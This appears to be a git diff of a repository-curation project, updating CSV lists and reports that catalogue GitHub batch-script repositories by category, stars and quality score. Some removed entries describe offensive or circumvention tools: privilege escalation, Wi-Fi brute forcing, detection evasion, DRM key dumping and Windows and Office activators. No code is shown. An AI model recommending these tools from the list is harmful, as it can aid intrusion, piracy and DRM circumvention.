Tools","2015-10-28T05:41:07Z","常用批处理","67","Batchfile","auspbro/batch-snippets","0.371","178","2026-02-09T15:07:04Z","https://github.com/auspbro/batch-snippets" -"Development & Scripting Tools","2016-07-22T15:31:39Z","Batch script to completely uninstall OneDrive in Windows 10","41","Batchfile","JaredCabot/OneDrive-Uninstaller","0.419","157","2026-05-12T14:14:13Z","https://github.com/JaredCabot/OneDrive-Uninstaller" -"Development & Scripting Tools","2015-05-01T23:34:22Z","Windows SteamCMD to autoupdate and install any game server steam cmd settings configurable lots of useful features. This batch script will keep your game servers automaticly updated updating intervals announce the server is shutting down for updates etc all configurable.","30","Batchfile","C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver","0.419","157","2026-06-11T03:27:30Z","https://github.com/C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver" -"Development & Scripting Tools","2018-08-24T15:01:55Z","Batch script files for FFMPEG (Microsoft Windows and DOS, OS/2 :unicorn:)","30","Batchfile","KnightDanila/BAT_FFMPEG","0.412","139","2026-05-05T08:47:10Z","https://github.com/KnightDanila/BAT_FFMPEG" -"Development & Scripting Tools","2017-05-09T13:25:06Z","Collection of Batch scripts, examples and some details for various commands are considered.","22","Batchfile","happy05dz/Batch-Script-Collection","0.373","134","2026-06-12T17:29:03Z","https://github.com/happy05dz/Batch-Script-Collection" -"Development & Scripting Tools","2020-07-28T07:13:14Z","FreakC Programming Language - an experimental Batch-like language written in Batch which compiles to Batch","10","Batchfile","FreakC-Foundation/FreakC","0.37","129","2026-04-23T22:36:58Z","https://github.com/FreakC-Foundation/FreakC" -"Development & Scripting Tools","2016-05-11T02:18:46Z","Scripts and snippets from the Batchography book","59","Batchfile","PassingTheKnowledge/Batchography","0.389","128","2026-02-15T09:07:47Z","https://github.com/PassingTheKnowledge/Batchography" -"Development & Scripting Tools","2023-08-14T19:44:26Z","A simple script that patches your systems hosts file to stop the Outlook desktop client from displaying ads in your inbox.","4","Batchfile","Pyenb/Outlook-desktop-ad-blocker","0.388","127","2026-06-12T23:53:05Z","https://github.com/Pyenb/Outlook-desktop-ad-blocker" -"Development & Scripting Tools","2016-11-11T08:52:58Z","A bat script to auto config Windows Server 2016 to ""Windows Desktop""","41","Batchfile","m2nlight/WindowsServerToWindowsDesktop","0.388","125","2026-05-03T03:53:52Z","https://github.com/m2nlight/WindowsServerToWindowsDesktop" -"File & Disk Utilities","2023-01-06T16:30:24Z","Batch files to quickly prepare images and train a NeRF using Instant-NGP. This project only works for Instant-NGP Binaries on Windows.","8","Batchfile","jonstephens85/instantngp-batch","0.386","122","2026-04-02T14:55:58Z","https://github.com/jonstephens85/instantngp-batch" -"Development & Scripting Tools","2017-01-17T18:01:17Z","A script for windows 10 with purpose of tweaking your windows install by removing stuff like windows apps _ Cortana _ Edge, you can also tweak the personalization settings that are hidden and almost everything have a restore option","21","Batchfile","YasserDRIF/Toggle-Tweaker","0.384","116","2026-05-08T20:55:56Z","https://github.com/YasserDRIF/Toggle-Tweaker" -"Development & Scripting Tools","2017-12-19T21:51:03Z","Windows Batch script to automate batch processing using mkvtoolnix.","13","Batchfile","Serede/mkvtoolnix-batch","0.421","115","2026-03-19T17:32:24Z","https://github.com/Serede/mkvtoolnix-batch" -"Other & Uncategorized","2018-05-31T15:36:41Z","Online/Offline KMS Activator for Microsoft Windows/Office/VisualStudio VL Products","39","Batchfile","gatoslu/KMS-VL-ALL-CMD","0.364","114","2026-04-07T18:00:30Z","https://github.com/gatoslu/KMS-VL-ALL-CMD" -"System Tweaks & Performance Enhancements","2022-08-11T14:11:30Z","A minimal windows batch script that cleans your PC from temporary files.","12","Batchfile","chainski/WindowsCleanerUtility","0.401","113","2026-06-12T10:03:06Z","https://github.com/chainski/WindowsCleanerUtility" -"Development & Scripting Tools","2022-05-23T12:38:35Z","Pure ADB (Android Debug Bridge) with Batch Script to easily open a CMD Window","19","Batchfile","K3V1991/ADBKit","0.382","110","2026-06-11T19:07:53Z","https://github.com/K3V1991/ADBKit" -"Other & Uncategorized","2022-02-22T17:30:11Z","Terabyte Tweaker is a program written in batch that allows your PC to run at better speeds, it transforms a ""Bad PC"" onto a ""Medium PC"", and turns a ""Medium PC"" into a monster.","7","Batchfile","Kawwabi/TerabyteTweaker","0.363","110","2026-06-14T14:28:10Z","https://github.com/Kawwabi/TerabyteTweaker" -"System Information & Diagnostics","2021-10-21T06:01:49Z","CLI-based toolbox for Windows Subsystem for Android. Includes installation of APKs, installation of WSA, and diagnostics.","25","Batchfile","weareblahs/WSAUtilities","0.4","109","2026-05-03T08:05:20Z","https://github.com/weareblahs/WSAUtilities" -"File & Disk Utilities","2026-03-22T13:28:12Z","Single-file Windows batch tool to fully detect, uninstall, and deep-clean all Autodesk products (2015–2026+). Achieves verified zero-remnant clean without reboot. Handles ODIS, MSI, BitRock installers. 16-point verification. Windows 10/11.","9","Batchfile","bequiet11/autodesk-complete-uninstaller","0.417","106","2026-06-13T15:09:51Z","https://github.com/bequiet11/autodesk-complete-uninstaller" -"System Tweaks & Performance Enhancements","2020-03-14T16:38:46Z","The open source batch file that gives efforts to boost system performance, latency, and stability.","10","Batchfile","Zusier/Zusiers-optimization-Batch","0.399","106","2026-05-30T09:54:02Z","https://github.com/Zusier/Zusiers-optimization-Batch" -"Offensive Security & Penetration Testing","2023-08-08T19:26:00Z","Batch scripts to dump L3 CDM using frida-server and wvdumper","16","Batchfile","sim0n00ps/L3-Dumping","0.378","101","2026-06-14T04:20:03Z","https://github.com/sim0n00ps/L3-Dumping" -"Gaming & Entertainment Tools","2017-05-28T08:49:27Z","在图片、压缩包和文件夹右键菜单加入MangaMeeya调用项。将bat放在MangaMeeya文件夹下运行。","9","Batchfile","gameclamp/MangaMeeyaAssociations","0.34","100","2026-06-14T11:22:30Z","https://github.com/gameclamp/MangaMeeyaAssociations" -"Other & Uncategorized","2026-02-07T11:43:30Z","Навык (Skill) для AI-агентов: сборка/разборка обработок 1С в XML, выгрузка/загрузка конфигураций и расширений пакетными командами 1С: Предприятие","11","Batchfile","vladimir-kharin/1c-batch","0.338","96","2026-06-13T17:03:00Z","https://github.com/vladimir-kharin/1c-batch" -"System Tweaks & Performance Enhancements","2017-11-22T23:45:31Z","A free maintenance tool that can automatically or manually clean up your Windows machine in a simple and reliable way. 😉💻🧹","14","Batchfile","warengonzaga/wrn-cleaner","0.394","95","2026-04-15T02:40:35Z","https://github.com/warengonzaga/wrn-cleaner" -"System Tweaks & Performance Enhancements","2022-05-29T22:36:21Z","Batlez Tweaks is a batch tweaking script that optimizes your system to provide the best gaming experience possible. It is free and open-source, and works on Windows 10 & 11!","12","Batchfile","Batlez/Batlez-Tweaks","0.431","93","2026-06-11T00:16:55Z","https://github.com/Batlez/Batlez-Tweaks" -"Security & Privacy Tools","2018-03-22T20:33:03Z","A batch script to demonstrate complex Microsoft Office deployments","10","Batchfile","SwiftOnSecurity/OfficeDeployFramework","0.456","92","2025-05-16T00:10:06Z","https://github.com/SwiftOnSecurity/OfficeDeployFramework" -"Development & Scripting Tools","2020-04-08T02:26:17Z","Run custom external application or script (batch/bash/powershell/php/python/node.js/custom) on various events within the Emby Server.","6","Batchfile","AnthonyMusgrove/Emby-ScripterX","0.374","91","2026-05-31T23:19:13Z","https://github.com/AnthonyMusgrove/Emby-ScripterX" -"Offensive Security & Penetration Testing","2016-09-25T17:36:09Z","Batch file to help automate Windows enumeration for privilege escalation","36","Batchfile","azmatt/windowsEnum","0.374","91","2026-01-10T22:14:37Z","https://github.com/azmatt/windowsEnum" -"Development & Scripting Tools","2019-05-22T10:24:31Z","PDQ Deploy Scripts, Tools, Utilities ... For IT daily Administration","15","Batchfile","wizz13150/PDQ_Repo","0.392","90","2026-04-29T22:29:03Z","https://github.com/wizz13150/PDQ_Repo" -"Offensive Security & Penetration Testing","2019-02-11T19:05:58Z","Windows privilege escalation with cmd","31","Batchfile","carlospolop/winPE","0.355","90","2026-05-27T16:01:57Z","https://github.com/carlospolop/winPE" -"Offensive Security & Penetration Testing","2019-07-12T07:47:18Z","Batch script to compile a binary shellcode blob into an exe file","13","Batchfile","repnz/shellcode2exe","0.373","89","2026-05-18T14:00:18Z","https://github.com/repnz/shellcode2exe" -"Development & Scripting Tools","2022-08-27T21:06:49Z","A simple Script capable of optimizing and repairing almost any error that may occur on your Windows computer","4","Batchfile","Ec-25/FixIt","0.372","85","2026-05-14T14:07:31Z","https://github.com/Ec-25/FixIt" -"System Tweaks & Performance Enhancements","2015-08-13T01:51:39Z","Autotuner Windows 10 for awesome perfomance setting, privacy and security.","27","Batchfile","SeregaSPb/Windows-10-batch-optimizer","0.352","84","2026-06-04T04:33:59Z","https://github.com/SeregaSPb/Windows-10-batch-optimizer" -"Development & Scripting Tools","2012-06-11T18:27:09Z","Some basic batch scripts","35","Batchfile","geekcomputers/Batch","0.371","83","2026-05-26T05:36:23Z","https://github.com/geekcomputers/Batch" -"Development & Scripting Tools","2022-07-14T19:32:19Z","For educational purposes, learn how a batch script can handle emmcdl process.","22","Batchfile","HadiKhoirudin/Qualcomm-Tool","0.37","82","2026-05-20T19:36:39Z","https://github.com/HadiKhoirudin/Qualcomm-Tool" -"Development & Scripting Tools","2024-10-05T12:49:38Z","I-Espresso is a tool that enables users to generate Portable Executable (PE) files from batch scripts. Leveraging IExpress, it demonstrates how file extension spoofing can be used to evade detection.","14","Batchfile","AnonKryptiQuz/I-Espresso","0.371","82","2026-06-10T00:21:58Z","https://github.com/AnonKryptiQuz/I-Espresso" -"Other & Uncategorized","2018-02-17T09:33:21Z","Level 2B - OS unique identifiers spoof","38","Batchfile","vektort13/antiOS_batch","0.332","81","2026-05-22T04:11:50Z","https://github.com/vektort13/antiOS_batch" -"File & Disk Utilities","2025-01-18T22:25:27Z","A tool, written as a batch file, used to shift your PC's active hour configuration to prevent Windows from shutting down automatically after installing updates.","3","Batchfile","TechTank/AlwaysActiveHours","0.388","79","2026-06-12T13:46:40Z","https://github.com/TechTank/AlwaysActiveHours" -"Security & Privacy Tools","2019-05-10T05:54:58Z","Combined Windows Privacy Utilities | Hosts file updater, block list manager, and more. Open source tools for Windows users, to help ensure privacy & security. Block ads, spyware domains, and other malicious activity/traffic, all through a simple interface.","4","Batchfile","bongochong/CWP-Utilities","0.387","78","2026-05-17T05:49:01Z","https://github.com/bongochong/CWP-Utilities" -"Development & Scripting Tools","2024-03-12T19:55:45Z","This script is made to make usage of YT-DLP easier.","4","Batchfile","mrblomblo/yt-dlp-usage-script","0.35","77","2026-04-29T19:46:44Z","https://github.com/mrblomblo/yt-dlp-usage-script" -"Offensive Security & Penetration Testing","2020-12-15T07:34:52Z","An active attack tool against Wi-Fi networks with internal CMD commands","21","Batchfile","TechnicalUserX/batch_wifi_brute_forcer","0.35","77","2026-05-06T22:29:55Z","https://github.com/TechnicalUserX/batch_wifi_brute_forcer" -"System Tweaks & Performance Enhancements","2020-10-19T03:18:22Z","The following batch files are included in the archive 1) Advanced Explorer Settings — This changes more than a dozen File Explorer related settings on Windows 10 that turn of animations, enable menus, or turn off things like Toasts. 2) Disable Automatic App Updates — Turns off automatic updates for Windows Store applications. 3) Disable Automatic Windows Updates — Turns off automatic updates for the Windows 10 operating system itself. 4) Disable Cortana Completely — Rename the cortana process searchUI.exe to searchUI.bak. This will kill the process permanetly and save your ressources. 5) Disable Forced Reboot after Update — Blocks Windows from enforcing a reboot after updates that require one. 6) Disable Lockscreen — Turns off the Windows 10 lockscreen. 7) Disable Telemetry — Turns off Windows 10 Telemetry. 8) Disable Unnecessary Services — This disables the MapsBroker, DoSvc and Wsearch services 9) Enable Defender Malware Protection — Enables Windows malware Protection. 10)Enable Secure Microsoft Edge Settings — Tweaks Microsoft Edge for security. Changes include turning of Flash and Cortana, enabling continuous browsing, and more. 11)Get Back Old Vertical Desktop Icon Distance — Changes the vertical icon spacing on the desktop. 12)Hide Cortana — Disables Cortana, and with it web searches and other search related parameters. The Microsoft way of disabling Cortana. 13)Hide OneDrive — Hides OneDrive and disables several related settings. 14)Re-enable Cortana Completely — This preferences turns Cortana on again. 15)Uninstall Unnecessary Apps — Removes ten apps that Windows 10 ships with including 3D Builder, Skype App, Getting Started, or Voice Recorder. 16)Enable Administrator Account — This preference enables the hidden administrator account in Windows. 17)Enable Standby instead of Hibernate — Switch powerstate from hibernation (slow) to standby . 18)Get apps access for Administrator Account — Enable access to applications for the administrator account.","10","Batchfile","balsamleti/speedup-windows10","0.425","77","2026-04-17T11:19:46Z","https://github.com/balsamleti/speedup-windows10" -"File & Disk Utilities","2024-01-27T16:50:37Z","Root BlueStacks 5 with real Magisk (Kitsune) in one .cmd file, no traces. Supports the latest 5.22+ with NO downgrade — bypasses the 'illegally tampered' disk-integrity check. Android 9, 11 & 13. Open source.","9","Batchfile","Jordan231111/BluestacksRoot","0.312","75","2026-06-15T11:09:06Z","https://github.com/Jordan231111/BluestacksRoot" -"Development & Scripting Tools","2023-11-20T19:56:28Z","BatchASM - primitive virtual machine (high level assembly language) for executing instructions in programming language environment Windows Batch.","2","Batchfile","DosX-dev/BatchASM","0.367","74","2026-06-15T07:39:50Z","https://github.com/DosX-dev/BatchASM" -"Development & Scripting Tools","2020-09-11T14:18:01Z","An executable cmd batch script that 100% Disables Windows 10 Update.","18","Batchfile","TarikSeyceri/Windows-10-Update-Disabler.bat","0.385","72","2026-03-02T23:26:24Z","https://github.com/TarikSeyceri/Windows-10-Update-Disabler.bat" -"File & Disk Utilities","2018-06-18T19:39:50Z","Simple batch files for simplifying basic usage of https://github.com/rg3/youtube-dl Windows .exe releases","18","Batchfile","edinsuta/youtube-dl-batch","0.366","72","2026-01-16T14:19:44Z","https://github.com/edinsuta/youtube-dl-batch" -"Gaming & Entertainment Tools","2022-01-26T15:08:58Z","解锁 Minecraft for Windows （MCBE）的一键 BAT 脚本","9","Batchfile","jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher","0.348","72","2026-06-06T02:51:52Z","https://github.com/jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher" -"Audio, Video Capture, Conversion & Playback","2017-04-15T05:34:02Z","结合you-get、youtube-dl和FFMPEG，附带文件管理视频播放等命令","22","Batchfile","WWILLV/you-get-ffmpeg","0.328","71","2026-03-31T08:59:14Z","https://github.com/WWILLV/you-get-ffmpeg" -"Process, Service & Startup Management","2020-02-12T10:01:14Z","Empty Standby Memory automatically with Task Scheduler + EmptyStandbyList + .BAT","15","Batchfile","stefanpejcic/EmptyStandbyList","0.328","70","2026-06-14T03:43:21Z","https://github.com/stefanpejcic/EmptyStandbyList" -"Development & Scripting Tools","2017-04-22T22:58:47Z","A batch script for convert video to GIF files by FFmpeg.exe on Windows","12","Batchfile","NabiKAZ/video2gif","0.383","67","2026-03-27T18:56:40Z","https://github.com/NabiKAZ/video2gif" -"Development & Scripting Tools","2023-04-30T04:12:33Z","A Batch script that sets up Av1an with all it's dependencies in a portable workspace","6","Batchfile","Hishiro64/av1an-win-script","0.364","66","2026-05-11T22:29:13Z","https://github.com/Hishiro64/av1an-win-script" -"Development & Scripting Tools","2017-05-30T00:59:04Z",":shell: Various batch files (descriptions are in the read me file)","20","Batchfile","Archive-projects/Batch-File-examples","0.364","66","2026-03-22T19:09:26Z","https://github.com/Archive-projects/Batch-File-examples" -"Other & Uncategorized","2026-05-17T21:19:51Z","Windows Repair Tool Pro هي أداة مجانية مخصصة لصيانة وإصلاح مشاكل ويندوز بسهولة من خلال واجهة CMD بسيطة وسريعة.","16","Batchfile","newmatrix/WinRTP","0.364","65","2026-06-14T18:50:15Z","https://github.com/newmatrix/WinRTP" -"Development & Scripting Tools","2020-06-14T13:41:32Z","WampServer SSL Auto Config is a Microsoft Windows batch script designed to automatically generate and configure a fully working Apache SSL / Name Based virtual host development environment.","13","Batchfile","custom-dev-tools/wampserver-ssl-auto-config","0.381","61","2026-02-02T06:22:47Z","https://github.com/custom-dev-tools/wampserver-ssl-auto-config" -"Other & Uncategorized","2021-03-02T01:08:57Z","Ativador Office 365","24","Batchfile","minigueimeiros/office-365-cmd","0.324","61","2026-04-08T12:16:34Z","https://github.com/minigueimeiros/office-365-cmd" -"Development & Scripting Tools","2021-06-11T23:13:24Z","💻 Scripts and relevant configuration to set up my Windows development box.","11","Batchfile","dend/windows-dev-box","0.361","58","2026-06-07T00:38:31Z","https://github.com/dend/windows-dev-box" -"File & Disk Utilities","2020-06-19T10:33:37Z","Bat-2-Exec - A wrapper for converting Batch files into Executables using IExpress","6","Batchfile","amakvana/Bat-2-Exec","0.342","58","2026-06-08T23:53:19Z","https://github.com/amakvana/Bat-2-Exec" -"Development & Scripting Tools","2025-07-31T18:08:22Z","Script batch (.bat) interativo para otimizar suporte técnico no Windows, automatizando reinício do sistema, limpeza de temporários, diagnóstico de rede, correção de erros comuns de impressão e ajustes de compartilhamento entre Windows 10 e 11 via PowerShell, aumentando a eficiência e reduzindo erros humanos.","19","Batchfile","AliceDzindzik/menu-do-suporte","0.379","57","2026-01-23T14:34:28Z","https://github.com/AliceDzindzik/menu-do-suporte" -"Other & Uncategorized","2019-01-02T19:33:38Z","Arquivo em lote (.bat) para otimização do Windows","15","Batchfile","AFaustini/OtimizeWindows","0.342","57","2026-06-13T15:51:43Z","https://github.com/AFaustini/OtimizeWindows" -"Development & Scripting Tools","2018-07-30T16:47:16Z","Just my rclone Windows batch scripts to backup / sync the second hard drive of my computer to pCloud (encrypted).","11","Batchfile","FoxP/rclone-backup","0.379","56","2026-04-22T09:31:16Z","https://github.com/FoxP/rclone-backup" -"Development & Scripting Tools","2018-11-22T01:36:55Z","A package manager for Windows scripts.","4","Batchfile","jahwi/bget","0.479","56","2025-10-11T19:39:30Z","https://github.com/jahwi/bget" -"Development & Scripting Tools","2024-08-29T16:04:00Z","Matject - Universal batch script made for Windows to dynamically change .material.bin files of Minecraft Bedrock Edition. With automatic backups and many more features!","5","Batchfile","faizul726/matject","0.379","56","2026-06-08T04:45:51Z","https://github.com/faizul726/matject" -"Security & Privacy Tools","2020-06-20T20:52:35Z","Batch Antivirus, a powerful antivirus suite written in batch with real-time protection and heuristical scanning.","5","Batchfile","anic17/Batch-Antivirus","0.341","56","2026-04-28T13:45:58Z","https://github.com/anic17/Batch-Antivirus" -"Development & Scripting Tools","2018-03-23T05:53:02Z","WampServer PHP CLI version changer is a Microsoft Windows batch script that allows you to easily add and then change between available WampServer PHP CLI versions using the users environment 'path' variable.","6","Batchfile","custom-dev-tools/wampserver-php-cli-version-changer","0.378","54","2026-02-26T06:20:48Z","https://github.com/custom-dev-tools/wampserver-php-cli-version-changer" -"System Tweaks & Performance Enhancements","2021-08-19T02:18:20Z","🧹 A winget bloatware removal tool made in batch","6","Batchfile","2rf/winGetDebloated","0.359","53","2026-04-26T19:14:58Z","https://github.com/2rf/winGetDebloated" -"Other & Uncategorized","2024-09-12T12:18:43Z","batch multi tool https://www.youtube.com/watch?v=x9aGS-FzONg","20","Batchfile","EbolaMan-YT/Batch-Multi-Tool","0.359","53","2026-06-12T21:32:23Z","https://github.com/EbolaMan-YT/Batch-Multi-Tool" -"Other & Uncategorized","2022-03-26T08:11:09Z","A bat installer to install adobe flash player which bypasses the date restrict","6","Batchfile","itsHenry35/Adobe-flash-player-installer","0.34","53","2026-03-18T04:16:27Z","https://github.com/itsHenry35/Adobe-flash-player-installer" -"Development & Scripting Tools","2021-07-09T16:49:13Z","This simple batch script will get rid of the annoying TJprojMain malware, which infects all your exe files to spread","15","Batchfile","skidaim/TJprojMain-explorer.exe-remover","0.358","52","2026-04-09T08:13:52Z","https://github.com/skidaim/TJprojMain-explorer.exe-remover" -"Development & Scripting Tools","2020-02-20T18:13:09Z","Winterfell is a group of windows batch scripts to collect Windows forensics data and perform efficient, and fast incident response and threat hunting activities.","11","Batchfile","yasser-alghamdi/winterfell-collection","0.477","52","2025-06-10T13:56:10Z","https://github.com/yasser-alghamdi/winterfell-collection" -"Development & Scripting Tools","2015-02-19T21:14:08Z","Collection of some Windows commandline tools/batch scripts I use on a daily-ish basis.","17","Batchfile","dfkt/win-cmd-tools","0.495","51","2024-08-22T17:40:44Z","https://github.com/dfkt/win-cmd-tools" -"Other & Uncategorized","2018-12-28T07:14:11Z","a simple bat to get battery report","10","Batchfile","ParrySMS/batteryreport","0.42","51","2025-09-24T18:20:26Z","https://github.com/ParrySMS/batteryreport" -"Development & Scripting Tools","2019-12-30T15:49:27Z","Batch script to activate Windows 10 Pro for free (requires an unlicensed installation of Windows 10).","12","Batchfile","danielj0nes/Activate-Windows10-Pro-Script","0.376","50","2026-05-30T01:07:40Z","https://github.com/danielj0nes/Activate-Windows10-Pro-Script" -"System Tweaks & Performance Enhancements","2019-04-26T17:05:32Z","This repo contains multiple scripts to optimize windows 10","4","Batchfile","tcja/Windows-10-tweaks","0.358","50","2026-06-09T12:12:46Z","https://github.com/tcja/Windows-10-tweaks" +category,created_at,description,forks,language,name,quality_score,stars,updated_at,url +Development & Scripting Tools,2015-02-13T03:29:15Z,Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript,258,Ruby,boxcutter/windows-batch,0.445,767,2026-10-06T17:56:40Z,https://github.com/boxcutter/windows-batch +System Tweaks & Performance Enhancements,2024-06-30T12:22:45Z,.cmd script for enhancing Windows performance through optimized BCDEdit parameters.,5,Batchfile,dubbyOW/BCDEditTweaks,0.378,54,2026-09-17T07:07:52Z,https://github.com/dubbyOW/BCDEditTweaks +System Tweaks & Performance Enhancements,2022-02-10T10:02:10Z,"⚙️ Yet another (and ugly) debloat, optimizer and tweaker for Windows 11 based on group policies",4,Batchfile,SegoCode/DebloBat,0.339,51,2026-08-29T04:02:11Z,https://github.com/SegoCode/DebloBat +File & Disk Utilities,2021-12-23T13:56:56Z,Simple batch files for simplifying basic usage of https://github.com/yt-dlp/yt-dlp (a fork of https://github.com/rg3/youtube-dl) Windows .exe releases,3,Batchfile,edinsuta/yt-dlp-batch,0.358,51,2026-09-11T23:38:12Z,https://github.com/edinsuta/yt-dlp-batch +Development & Scripting Tools,2019-04-26T20:40:34Z,A simple Guide and batch script to flash steam controller dongles to watchman dongles for SteamVR/OpenVR,4,Batchfile,ykeara/SteamVR-Dongle-Flash,0.358,50,2026-09-20T20:50:30Z,https://github.com/ykeara/SteamVR-Dongle-Flash +Uncategorized,2023-07-31T09:23:18Z,简单的批处理调用N_m3u8DL-RE进行下载，预设单个下载、批量下载、录播下载。,10,Batchfile,LennoC/N_m3u8DL-RE_SimpleBatGUI,0.32,50,2026-10-01T07:51:11Z,https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI diff --git a/z.repo_support/scripts/filtered_new_repos_report.txt b/z.repo_support/scripts/filtered_new_repos_report.txt index 9aee1729..52df346d 100644 --- a/z.repo_support/scripts/filtered_new_repos_report.txt +++ b/z.repo_support/scripts/filtered_new_repos_report.txt @@ -4,63 +4,41 @@ Repository Discovery Processing Report Discovery Summary: ----------------- -Total Repositories Discovered: 156 +Total Repositories Discovered: 37 Duplicates Removed: 0 -Unique Repositories: 156 -Quality Filtered (Final): 112 +Unique Repositories: 37 +Quality Filtered (Final): 6 Category Distribution: --------------------- -Audio & Video Capture, Conversion & Playback: 2 -Development & Scripting Tools: 58 -File & Disk Utilities: 13 -Gaming & Entertainment Tools: 3 -Network & Internet Tools: 4 -Process, Service & Startup Management: 1 -Security & Privacy Tools: 3 -System Information & Diagnostics: 2 -System Tweaks & Performance Enhancements: 13 -Uncategorized: 13 +Development & Scripting Tools: 2 +File & Disk Utilities: 1 +System Tweaks & Performance Enhancements: 2 +Uncategorized: 1 Top New Repositories: ------------------------------ - 1. peass-ng/PEASS-ng (19,995 ⭐, Quality: 0.52) + 1. boxcutter/windows-batch (767 ⭐, Quality: 0.45) Category: Development & Scripting Tools - PEASS - Privilege Escalation Awesome Scripts SUITE (with col... + Virtual machine templates for Windows written in legacy JSON... - 2. AveYo/MediaCreationTool.bat (10,234 ⭐, Quality: 0.74) - Category: Development & Scripting Tools - Universal MCT wrapper script for all Windows 10/11 versions ... - - 3. ShadowWhisperer/Remove-MS-Edge (5,203 ⭐, Quality: 0.74) - Category: Development & Scripting Tools - Uninstall Microsoft Edge with an executable or batch script.... - - 4. batsh-dev-team/Batsh (4,352 ⭐, Quality: 0.54) - Category: Development & Scripting Tools - A language that compiles to Bash and Windows Batch... + 2. dubbyOW/BCDEditTweaks (54 ⭐, Quality: 0.38) + Category: System Tweaks & Performance Enhancements + .cmd script for enhancing Windows performance through optimi... - 5. YILS-LIN/short-video-factory (4,085 ⭐, Quality: 0.54) - Category: Network & Internet Tools - 一键生成产品营销与泛内容短视频，AI批量自动剪辑，高颜值跨平台桌面端工具 One click generation of... + 3. SegoCode/DebloBat (51 ⭐, Quality: 0.34) + Category: System Tweaks & Performance Enhancements + ⚙️ Yet another (and ugly) debloat, optimizer and tweaker for... - 6. ayoisaiah/f2 (2,417 ⭐, Quality: 0.54) + 4. edinsuta/yt-dlp-batch (51 ⭐, Quality: 0.36) Category: File & Disk Utilities - F2 is a cross-platform command-line tool for batch renaming ... + Simple batch files for simplifying basic usage of https://gi... - 7. m-ab-s/media-autobuild_suite (1,797 ⭐, Quality: 0.57) + 5. ykeara/SteamVR-Dongle-Flash (50 ⭐, Quality: 0.36) Category: Development & Scripting Tools - This Windows Batchscript helps setup a Mingw-w64 compiler en... + A simple Guide and batch script to flash steam controller do... - 8. abbodi1406/BatUtil (1,421 ⭐, Quality: 0.56) - Category: Development & Scripting Tools - Collection of batch scripts utilities for Windows... - - 9. ios12checker/Windows-Maintenance-Tool (1,324 ⭐, Quality: 0.59) - Category: System Information & Diagnostics - A powerful, all-in-one Windows maintenance toolkit built ent... - -10. npocmaka/batch.scripts (1,132 ⭐, Quality: 0.72) - Category: Development & Scripting Tools - batch script utils and examples by npocmaka -... + 6. LennoC/N_m3u8DL-RE_SimpleBatGUI (50 ⭐, Quality: 0.32) + Category: Uncategorized + 简单的批处理调用N_m3u8DL-RE进行下载，预设单个下载、批量下载、录播下载。... diff --git a/z.repo_support/scripts/integration_summary_20261007_092017.txt b/z.repo_support/scripts/integration_summary_20261007_092017.txt new file mode 100644 index 00000000..b9bdb268 --- /dev/null +++ b/z.repo_support/scripts/integration_summary_20261007_092017.txt @@ -0,0 +1,42 @@ + +Integration Summary - 2026-10-07 09:20:17 UTC +====================================================================== + +New Repositories Added: 6 +Directory Structures Created: 6 + +Repositories Integrated: +----------------------- + 1. boxcutter/windows-batch (767 ⭐) - Development & Scripting Tools + 2. dubbyOW/BCDEditTweaks (54 ⭐) - System Tweaks & Performance Enhancements + 3. SegoCode/DebloBat (51 ⭐) - System Tweaks & Performance Enhancements + 4. edinsuta/yt-dlp-batch (51 ⭐) - File & Disk Utilities + 5. ykeara/SteamVR-Dongle-Flash (50 ⭐) - Development & Scripting Tools + 6. LennoC/N_m3u8DL-RE_SimpleBatGUI (50 ⭐) - Uncategorized + +Directory Structures Created: +------------------------------ +- ../../Development & Scripting Tools/boxcutter--windows-batch +- ../../System Tweaks & Performance Enhancements/dubbyOW--BCDEditTweaks +- ../../System Tweaks & Performance Enhancements/SegoCode--DebloBat +- ../../File & Disk Utilities/edinsuta--yt-dlp-batch +- ../../Development & Scripting Tools/ykeara--SteamVR-Dongle-Flash +- ../../Uncategorized/LennoC--N_m3u8DL-RE_SimpleBatGUI + +Files Updated: +-------------- +- ../../z.repo_support/scripts/repo_results.csv +- Main repository statistics +- Category organization +- Individual repository READMEs + +Next Steps: +----------- +1. Review generated repository structures +2. Verify README content accuracy +3. Update main repository documentation +4. Consider manual curation of descriptions +5. Test any scripts in new repositories + +--- +Integration completed successfully! diff --git a/z.repo_support/scripts/pre_filtered_repos.csv b/z.repo_support/scripts/pre_filtered_repos.csv index cb69359e..87fe0de0 100644 --- a/z.repo_support/scripts/pre_filtered_repos.csv +++ b/z.repo_support/scripts/pre_filtered_repos.csv @@ -1,157 +1,38 @@ name,url,description,stars,forks,language,created_at,updated_at -peass-ng/PEASS-ng,https://github.com/peass-ng/PEASS-ng,PEASS - Privilege Escalation Awesome Scripts SUITE (with colors),19995,3365,C#,2019-01-13T19:58:24Z,2026-06-15T08:59:46Z -AveYo/MediaCreationTool.bat,https://github.com/AveYo/MediaCreationTool.bat,Universal MCT wrapper script for all Windows 10/11 versions from 1507 to 21H2!,10234,3132,Batchfile,2021-10-09T21:01:45Z,2026-06-15T10:53:30Z -ShadowWhisperer/Remove-MS-Edge,https://github.com/ShadowWhisperer/Remove-MS-Edge,Uninstall Microsoft Edge with an executable or batch script.,5203,196,Batchfile,2020-12-09T14:57:18Z,2026-06-15T04:35:52Z -batsh-dev-team/Batsh,https://github.com/batsh-dev-team/Batsh,A language that compiles to Bash and Windows Batch,4352,168,OCaml,2013-09-02T10:45:45Z,2026-06-04T12:08:25Z -YILS-LIN/short-video-factory,https://github.com/YILS-LIN/short-video-factory,"一键生成产品营销与泛内容短视频，AI批量自动剪辑，高颜值跨平台桌面端工具 One click generation of product marketing and general content short videos, AI batch automatic cliping, beautiful cross platform desktop tool",4085,605,TypeScript,2025-07-09T05:55:44Z,2026-06-15T11:12:05Z -ayoisaiah/f2,https://github.com/ayoisaiah/f2,F2 is a cross-platform command-line tool for batch renaming files and directories quickly and safely. Written in Go!,2417,64,Go,2020-04-28T00:20:46Z,2026-06-14T09:21:34Z -m-ab-s/media-autobuild_suite,https://github.com/m-ab-s/media-autobuild_suite,This Windows Batchscript helps setup a Mingw-w64 compiler environment for building ffmpeg and other media tools under Windows.,1797,295,Shell,2013-09-28T20:07:11Z,2026-06-15T08:21:08Z -abbodi1406/BatUtil,https://github.com/abbodi1406/BatUtil,Collection of batch scripts utilities for Windows,1421,284,VBScript,2018-11-15T05:41:47Z,2026-06-15T09:20:54Z 